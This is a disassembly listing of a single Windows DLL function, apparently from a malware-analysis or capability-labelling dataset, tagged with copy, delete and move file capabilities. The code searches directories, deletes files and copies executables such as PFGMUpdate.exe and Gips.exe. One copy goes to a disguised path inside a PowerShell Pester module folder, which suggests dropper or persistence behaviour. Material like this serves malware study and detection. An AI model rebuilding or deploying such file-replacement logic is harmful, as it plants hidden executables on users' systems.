Function at 0x10001880
Capabilities:
Copy file
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100286fa
mov eax, dword fs:[0]
push eax
sub esp, 0x728
mov eax, dword [0x10036040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 4], 1
mov byte [ebp - 4], 2
lea eax, [ebp + 0x20]
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x2c]
call fcn.10007c90
mov byte [ebp - 4], 3
lea eax, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0xf
cmova eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x16c]
push ecx
push eax
call fcn.100111de
add esp, 0xc
mov ebx, eax
mov dword [ebp - 0x728], ebx
cmp ebx, 0xffffffff
je 0x100027ec
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
nop dword [eax]
test byte [ebp - 0x16c], 0x10
je 0x100019b2
cmp byte [ebp - 0x148], 0x2e
je 0x100027cb
push 0x100312dc
lea edx, [ebp + 8]
lea ecx, [ebp - 0x1e4]
call fcn.10007e20
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x148]
push ecx
mov edx, eax
lea ecx, [ebp - 0x44]
call fcn.10007d20
add esp, 8
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x1e4]
call fcn.10007960
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x730], esp
push 0x100312e0
call fcn.100079e0
mov byte [ebp - 4], 7
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x734], esp
lea eax, [ebp - 0x44]
push eax
call fcn.10007aa0
mov byte [ebp - 4], 8
mov byte [ebp - 4], 6
call fcn.10001880
add esp, 0x30
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x44]
call fcn.10007960
jmp 0x100027cb
cmp byte [ebp - 0x148], 0x2e
je 0x100027cb
mov ecx, 0x100312e8
lea eax, [ebp - 0x148]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100019f0
test dl, dl
je 0x100019ec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100019f0
add eax, 2
add ecx, 2
test dl, dl
jne 0x100019d0
xor eax, eax
jmp 0x100019f5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x10001b8c
mov eax, 0x10624dd3
mul dword [ebp - 0x14c]
shr edx, 6
cmp edx, 0x400
ja 0x100027cb
push 0x10031308
lea edx, [ebp + 8]
lea ecx, [ebp - 0x184]
call fcn.10007e20
mov byte [ebp - 4], 9
push 0x100312f8
mov edx, eax
lea ecx, [ebp - 0x1fc]
call fcn.10007d20
add esp, 8
mov byte [ebp - 4], 0xa
cmp dword [eax + 0x14], 0xf
jbe 0x10001a4f
mov eax, dword [eax]
push eax
call ebx
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x1fc]
call fcn.10007960
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x184]
call fcn.10007960
push 0x1003131c
lea edx, [ebp + 8]
lea ecx, [ebp - 0x274]
call fcn.10007e20
mov byte [ebp - 4], 0xb
push str.PFGMUpdate.tep
mov edx, eax
lea ecx, [ebp - 0x25c]
call fcn.10007d20
add esp, 8
mov esi, eax
mov byte [ebp - 4], 0xc
cmp dword [esi + 0x14], 0xf
jbe 0x10001aaa
mov esi, dword [esi]
push 0x10031320
lea edx, [ebp + 8]
lea ecx, [ebp - 0x244]
call fcn.10007e20
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x148]
push ecx
mov edx, eax
lea ecx, [ebp - 0x22c]
call fcn.10007d20
add esp, 8
mov byte [ebp - 4], 0xe
cmp dword [eax + 0x14], 0xf
jbe 0x10001ae4
mov eax, dword [eax]
push esi
push eax
call fcn.100122db
add esp, 8
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x22c]
call fcn.10007960
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x244]
call fcn.10007960
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x25c]
call fcn.10007960
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x274]
call fcn.10007960
push 0x10031324
lea edx, [ebp + 8]
lea ecx, [ebp - 0x2a4]
call fcn.10007e20
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x148]
push ecx
mov edx, eax
lea ecx, [ebp - 0x28c]
call fcn.10007d20
add esp, 8
mov byte [ebp - 4], 0x10
cmp dword [eax + 0x14], 0xf
jbe 0x10001b64
mov eax, dword [eax]
push 0
push eax
push 0x10031328
call edi
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x28c]
call fcn.10007960
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2a4]
jmp 0x100027c0
mov ecx, 0x10031370
lea eax, [ebp - 0x148]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10001bb7
test dl, dl
je 0x10001bb3
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10001bb7
add eax, 2
add ecx, 2
test dl, dl
jne 0x10001b97
xor eax, eax
jmp 0x10001bbc
sbb eax, eax
or eax, 1
test eax, eax
jne 0x10001d51
mov eax, 0x10624dd3
mul dword [ebp - 0x14c]
shr edx, 6
cmp edx, 0x400
ja 0x100027cb
push 0x10031390
lea edx, [ebp + 8]
lea ecx, [ebp - 0x214]
call fcn.10007e20
mov byte [ebp - 4], 0x11
push 0x10031380
mov edx, eax
lea ecx, [ebp - 0x2bc]
call fcn.10007d20
add esp, 8
mov byte [ebp - 4], 0x12
cmp dword [eax + 0x14], 0xf
jbe 0x10001c16
mov eax, dword [eax]
push eax
call ebx
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x2bc]
call fcn.10007960
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x214]
call fcn.10007960
push 0x100313a4
lea edx, [ebp + 8]
lea ecx, [ebp - 0x31c]
call fcn.10007e20
mov byte [ebp - 4], 0x13
push 0x10031394
mov edx, eax
lea ecx, [ebp - 0x304]
call fcn.10007d20
add esp, 8
mov esi, eax
mov byte [ebp - 4], 0x14
cmp dword [esi + 0x14], 0xf
jbe 0x10001c71
mov esi, dword [esi]
push 0x100313a8
lea edx, [ebp + 8]
lea ecx, [ebp - 0x2ec]
call fcn.10007e20
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x148]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2d4]
call fcn.10007d20
add esp, 8
mov byte [ebp - 4], 0x16
cmp dword [eax + 0x14], 0xf
jbe 0x10001cab
mov eax, dword [eax]
push esi
push eax
call fcn.100122db
add esp, 8
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x2d4]
call fcn.10007960
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x2ec]
call fcn.10007960
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x304]
call fcn.10007960
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x31c]
call fcn.10007960
push 0x100313bc
lea edx, [ebp + 8]
lea ecx, [ebp - 0x34c]
call fcn.10007e20
mov byte [ebp - 4], 0x17
push 0x100313ac
mov edx, eax
lea ecx, [ebp - 0x334]
call fcn.10007d20
add esp, 8
mov byte [ebp - 4], 0x18
cmp dword [eax + 0x14], 0xf
jbe 0x10001d29
mov eax, dword [eax]
push 0
push eax
push 0x100313c0
call edi
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x334]
call fcn.10007960
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x34c]
jmp 0x100027c0
mov ecx, str.PFGMupdate.tep
lea eax, [ebp - 0x148]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10001d80
test dl, dl
je 0x10001d7c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10001d80
add eax, 2
add ecx, 2
test dl, dl
jne 0x10001d60
xor eax, eax
jmp 0x10001d85
sbb eax, eax
or eax, 1
test eax, eax
jne 0x10001e59
push 0x10031428
lea edx, [ebp + 8]
lea ecx, [ebp - 0x37c]
call fcn.10007e20
mov byte [ebp - 4], 0x19
push 0x10031418
mov edx, eax
lea ecx, [ebp - 0x364]
call fcn.10007d20
add esp, 8
mov byte [ebp - 4], 0x1a
cmp dword [eax + 0x14], 0xf
jbe 0x10001dc5
mov eax, dword [eax]
push 0
push eax
call fcn.10012251
add esp, 8
mov esi, eax
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x364]
call fcn.10007960
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x37c]
call fcn.10007960
cmp esi, 0xffffffff
jne 0x100027c5
push 0x1003143c
lea edx, [ebp + 8]
lea ecx, [ebp - 0x3ac]
call fcn.10007e20
mov byte [ebp - 4], 0x1b
push str.PFGMUpdate.exe
mov edx, eax
lea ecx, [ebp - 0x394]
call fcn.10007d20
add esp, 8
mov byte [ebp - 4], 0x1c
cmp dword [eax + 0x14], 0xf
jbe 0x10001e31
mov eax, dword [eax]
push 0
push eax
push 0x10031440
call edi
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x394]
call fcn.10007960
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x3ac]
jmp 0x100027c0
mov ecx, str.PFGMClient.tep
lea eax, [ebp - 0x148]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10001e84
test dl, dl
je 0x10001e80
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10001e84
add eax, 2
add ecx, 2
test dl, dl
jne 0x10001e64
xor eax, eax
jmp 0x10001e89
sbb eax, eax
or eax, 1
test eax, eax
jne 0x10001f5d
push 0x100314a8
lea edx, [ebp + 8]
lea ecx, [ebp - 0x3dc]
call fcn.10007e20
mov byte [ebp - 4], 0x1d
push 0x10031498
mov edx, eax
lea ecx, [ebp - 0x3c4]
call fcn.10007d20
add esp, 8
mov byte [ebp - 4], 0x1e
cmp dword [eax + 0x14], 0xf
jbe 0x10001ec9
mov eax, dword [eax]
push 0
push eax
call fcn.10012251
add esp, 8
mov esi, eax
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x3c4]
call fcn.10007960
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x3dc]
call fcn.10007960
cmp esi, 0xffffffff
jne 0x100027c5
push 0x100314bc
lea edx, [ebp + 8]
lea ecx, [ebp - 0x40c]
call fcn.10007e20
mov byte [ebp - 4], 0x1f
push str.PFGMClient.exe
mov edx, eax
lea ecx, [ebp - 0x3f4]
call fcn.10007d20
add esp, 8
mov byte [ebp - 4], 0x20
cmp dword [eax + 0x14], 0xf
jbe 0x10001f35
mov eax, dword [eax]
push 0
push eax
push 0x100314c0
call edi
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x3f4]
call fcn.10007960
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x40c]
jmp 0x100027c0
mov ecx, 0x10031508
lea eax, [ebp - 0x148]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10001f88
test dl, dl
je 0x10001f84
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10001f88
add eax, 2
add ecx, 2
test dl, dl
jne 0x10001f68
xor eax, eax
jmp 0x10001f8d
sbb eax, eax
or eax, 1
test eax, eax
jne 0x10002122
mov eax, 0x10624dd3
mul dword [ebp - 0x14c]
shr edx, 6
cmp edx, 0x1f58
ja 0x100027cb
push 0x10031520
lea edx, [ebp + 8]
lea ecx, [ebp - 0x43c]
call fcn.10007e20
mov byte [ebp - 4], 0x21
push 0x10031514
mov edx, eax
lea ecx, [ebp - 0x424]
call fcn.10007d20
add esp, 8
mov byte [ebp - 4], 0x22
cmp dword [eax + 0x14], 0xf
jbe 0x10001fe7
mov eax, dword [eax]
push eax
call ebx
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x424]
call fcn.10007960
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x43c]
call fcn.10007960
push 0x10031530
lea edx, [ebp + 8]
lea ecx, [ebp - 0x49c]
call fcn.10007e20
mov byte [ebp - 4], 0x23
push 0x10031524
mov edx, eax
lea ecx, [ebp - 0x484]
call fcn.10007d20
add esp, 8
mov esi, eax
mov byte [ebp - 4], 0x24
cmp dword [esi + 0x14], 0xf
jbe 0x10002042
mov esi, dword [esi]
push 0x10031534
lea edx, [ebp + 8]
lea ecx, [ebp - 0x46c]
call fcn.10007e20
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x148]
push ecx
mov edx, eax
lea ecx, [ebp - 0x454]
call fcn.10007d20
add esp, 8
mov byte [ebp - 4], 0x26
cmp dword [eax + 0x14], 0xf
jbe 0x1000207c
mov eax, dword [eax]
push esi
push eax
call fcn.100122db
add esp, 8
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x454]
call fcn.10007960
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x46c]
call fcn.10007960
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x484]
call fcn.10007960
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x49c]
call fcn.10007960
push 0x10031544
lea edx, [ebp + 8]
lea ecx, [ebp - 0x4cc]
call fcn.10007e20
mov byte [ebp - 4], 0x27
push 0x10031538
mov edx, eax
lea ecx, [ebp - 0x4b4]
call fcn.10007d20
add esp, 8
mov byte [ebp - 4], 0x28
cmp dword [eax + 0x14], 0xf
jbe 0x100020fa
mov eax, dword [eax]
push 0
push eax
push 0x10031548
call edi
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x4b4]
call fcn.10007960
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x4cc]
jmp 0x100027c0
mov ecx, str.Gips.tep
lea eax, [ebp - 0x148]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10002150
test dl, dl
je 0x1000214c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10002150
add eax, 2
add ecx, 2
test dl, dl
jne 0x10002130
xor eax, eax
jmp 0x10002155
sbb eax, eax
or eax, 1
test eax, eax
jne 0x10002229
push 0x100315a8
lea edx, [ebp + 8]
lea ecx, [ebp - 0x4fc]
call fcn.10007e20
mov byte [ebp - 4], 0x29
push 0x1003159c
mov edx, eax
lea ecx, [ebp - 0x4e4]
call fcn.10007d20
add esp, 8
mov byte [ebp - 4], 0x2a
cmp dword [eax + 0x14], 0xf
jbe 0x10002195
mov eax, dword [eax]
push 0
push eax
call fcn.10012251
add esp, 8
mov esi, eax
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x4e4]
call fcn.10007960
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x4fc]
call fcn.10007960
cmp esi, 0xffffffff
jne 0x100027c5
push 0x100315b8
lea edx, [ebp + 8]
lea ecx, [ebp - 0x52c]
call fcn.10007e20
mov byte [ebp - 4], 0x2b
push str.Gips.exe
mov edx, eax
lea ecx, [ebp - 0x514]
call fcn.10007d20
add esp, 8
mov byte [ebp - 4], 0x2c
cmp dword [eax + 0x14], 0xf
jbe 0x10002201
mov eax, dword [eax]
push 0
push eax
push 0x100315c0
call edi
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x514]
call fcn.10007960
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x52c]
jmp 0x100027c0
mov ecx, 0x10031608
lea eax, [ebp - 0x148]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10002254
test dl, dl
je 0x10002250
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10002254
add eax, 2
add ecx, 2
test dl, dl
jne 0x10002234
xor eax, eax
jmp 0x10002259
sbb eax, eax
or eax, 1
test eax, eax
jne 0x100023ee
mov eax, 0x10624dd3
mul dword [ebp - 0x14c]
shr edx, 6
cmp edx, 0x1f58
ja 0x100027cb
push 0x10031620
lea edx, [ebp + 8]
lea ecx, [ebp - 0x55c]
call fcn.10007e20
mov byte [ebp - 4], 0x2d
push 0x10031614
mov edx, eax
lea ecx, [ebp - 0x544]
call fcn.10007d20
add esp, 8
mov byte [ebp - 4], 0x2e
cmp dword [eax + 0x14], 0xf
jbe 0x100022b3
mov eax, dword [eax]
push eax
call ebx
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x544]
call fcn.10007960
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x55c]
call fcn.10007960
push 0x10031630
lea edx, [ebp + 8]
lea ecx, [ebp - 0x5bc]
call fcn.10007e20
mov byte [ebp - 4], 0x2f
push 0x10031624
mov edx, eax
lea ecx, [ebp - 0x5a4]
call fcn.10007d20
add esp, 8
mov esi, eax
mov byte [ebp - 4], 0x30
cmp dword [esi + 0x14], 0xf
jbe 0x1000230e
mov esi, dword [esi]
push 0x10031634
lea edx, [ebp + 8]
lea ecx, [ebp - 0x58c]
call fcn.10007e20
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x148]
push ecx
mov edx, eax
lea ecx, [ebp - 0x574]
call fcn.10007d20
add esp, 8
mov byte [ebp - 4], 0x32
cmp dword [eax + 0x14], 0xf
jbe 0x10002348
mov eax, dword [eax]
push esi
push eax
call fcn.100122db
add esp, 8
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x574]
call fcn.10007960
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x58c]
call fcn.10007960
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x5a4]
call fcn.10007960
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x5bc]
call fcn.10007960
push 0x10031644
lea edx, [ebp + 8]
lea ecx, [ebp - 0x5ec]
call fcn.10007e20
mov byte [ebp - 4], 0x33
push 0x10031638
mov edx, eax
lea ecx, [ebp - 0x5d4]
call fcn.10007d20
add esp, 8
mov byte [ebp - 4], 0x34
cmp dword [eax + 0x14], 0xf
jbe 0x100023c6
mov eax, dword [eax]
push 0
push eax
push 0x10031648
call edi
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x5d4]
call fcn.10007960
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x5ec]
jmp 0x100027c0
mov ecx, str.tinGips.tep
lea eax, [ebp - 0x148]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10002420
test dl, dl
je 0x1000241c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10002420
add eax, 2
add ecx, 2
test dl, dl
jne 0x10002400
xor eax, eax
jmp 0x10002425
sbb eax, eax
or eax, 1
test eax, eax
jne 0x100024f9
push 0x100316a8
lea edx, [ebp + 8]
lea ecx, [ebp - 0x604]
call fcn.10007e20
mov byte [ebp - 4], 0x35
push 0x1003169c
mov edx, eax
lea ecx, [ebp - 0x6ac]
call fcn.10007d20
add esp, 8
mov byte [ebp - 4], 0x36
cmp dword [eax + 0x14], 0xf
jbe 0x10002465
mov eax, dword [eax]
push 0
push eax
call fcn.10012251
add esp, 8
mov esi, eax
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x6ac]
call fcn.10007960
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x604]
call fcn.10007960
cmp esi, 0xffffffff
jne 0x100027c5
push 0x100316b8
lea edx, [ebp + 8]
lea ecx, [ebp - 0x634]
call fcn.10007e20
mov byte [ebp - 4], 0x37
push str.tinGips.exe
mov edx, eax
lea ecx, [ebp - 0x61c]
call fcn.10007d20
add esp, 8
mov byte [ebp - 4], 0x38
cmp dword [eax + 0x14], 0xf
jbe 0x100024d1
mov eax, dword [eax]
push 0
push eax
push 0x100316c0
call edi
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x61c]
call fcn.10007960
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x634]
jmp 0x100027c0
mov ecx, 0x10031708
lea eax, [ebp - 0x148]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10002524
test dl, dl
je 0x10002520
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10002524
add eax, 2
add ecx, 2
test dl, dl
jne 0x10002504
xor eax, eax
jmp 0x10002529
sbb eax, eax
or eax, 1
test eax, eax
jne 0x100026be
mov eax, 0x10624dd3
mul dword [ebp - 0x14c]
shr edx, 6
cmp edx, 0x1f58
ja 0x100027cb
push 0x10031720
lea edx, [ebp + 8]
lea ecx, [ebp - 0x664]
call fcn.10007e20
mov byte [ebp - 4], 0x39
push 0x10031714
mov edx, eax
lea ecx, [ebp - 0x64c]
call fcn.10007d20
add esp, 8
mov byte [ebp - 4], 0x3a
cmp dword [eax + 0x14], 0xf
jbe 0x10002583
mov eax, dword [eax]
push eax
call ebx
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x64c]
call fcn.10007960
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x664]
call fcn.10007960
push 0x10031730
lea edx, [ebp + 8]
lea ecx, [ebp - 0x6c4]
call fcn.10007e20
mov byte [ebp - 4], 0x3b
push 0x10031724
mov edx, eax
lea ecx, [ebp - 0x1cc]
call fcn.10007d20
add esp, 8
mov esi, eax
mov byte [ebp - 4], 0x3c
cmp dword [esi + 0x14], 0xf
jbe 0x100025de
mov esi, dword [esi]
push 0x10031734
lea edx, [ebp + 8]
lea ecx, [ebp - 0x694]
call fcn.10007e20
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x148]
push ecx
mov edx, eax
lea ecx, [ebp - 0x67c]
call fcn.10007d20
add esp, 8
mov byte [ebp - 4], 0x3e
cmp dword [eax + 0x14], 0xf
jbe 0x10002618
mov eax, dword [eax]
push esi
push eax
call fcn.100122db
add esp, 8
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x67c]
call fcn.10007960
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0x694]
call fcn.10007960
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x1cc]
call fcn.10007960
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x6c4]
call fcn.10007960
push 0x10031744
lea edx, [ebp + 8]
lea ecx, [ebp - 0x6f4]
call fcn.10007e20
mov byte [ebp - 4], 0x3f
push 0x10031738
mov edx, eax
lea ecx, [ebp - 0x6dc]
call fcn.10007d20
add esp, 8
mov byte [ebp - 4], 0x40
cmp dword [eax + 0x14], 0xf
jbe 0x10002696
mov eax, dword [eax]
push 0
push eax
push 0x10031748
call edi
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0x6dc]
call fcn.10007960
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x6f4]
jmp 0x100027c0
mov ecx, str.pkggips.tep
lea eax, [ebp - 0x148]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100026f0
test dl, dl
je 0x100026ec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100026f0
add eax, 2
add ecx, 2
test dl, dl
jne 0x100026d0
xor eax, eax
jmp 0x100026f5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x100027cb
push 0x100317a8
lea edx, [ebp + 8]
lea ecx, [ebp - 0x724]
call fcn.10007e20
mov byte [ebp - 4], 0x41
push 0x1003179c
mov edx, eax
lea ecx, [ebp - 0x70c]
call fcn.10007d20
add esp, 8
mov byte [ebp - 4], 0x42
cmp dword [eax + 0x14], 0xf
jbe 0x10002735
mov eax, dword [eax]
push 0
push eax
call fcn.10012251
add esp, 8
mov esi, eax
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x70c]
call fcn.10007960
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x724]
call fcn.10007960
cmp esi, 0xffffffff
jne 0x100027c5
push 0x100317b8
lea edx, [ebp + 8]
lea ecx, [ebp - 0x1b4]
call fcn.10007e20
mov byte [ebp - 4], 0x43
push str.pkggips.exe
mov edx, eax
lea ecx, [ebp - 0x19c]
call fcn.10007d20
add esp, 8
mov byte [ebp - 4], 0x44
cmp dword [eax + 0x14], 0xf
jbe 0x1000279d
mov eax, dword [eax]
push 0
push eax
push str.C:Program_FilesWindowsPowerShellModulesPester3.4.0_bin_seed.exe
call edi
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x19c]
call fcn.10007960
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1b4]
call fcn.10007960
mov esi, dword [ebp - 0x728]
lea eax, [ebp - 0x16c]
push eax
push esi
call fcn.100111f9
add esp, 8
test eax, eax
je 0x10001910
push esi
call fcn.100111b8
add esp, 4
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x2c]
call fcn.10007960
mov byte [ebp - 4], 0
jmp 0x1000280b
lea ecx, [ebp + 8]
call fcn.10007960
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.10007960
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1000d0c5
mov esp, ebp
pop ebp
ret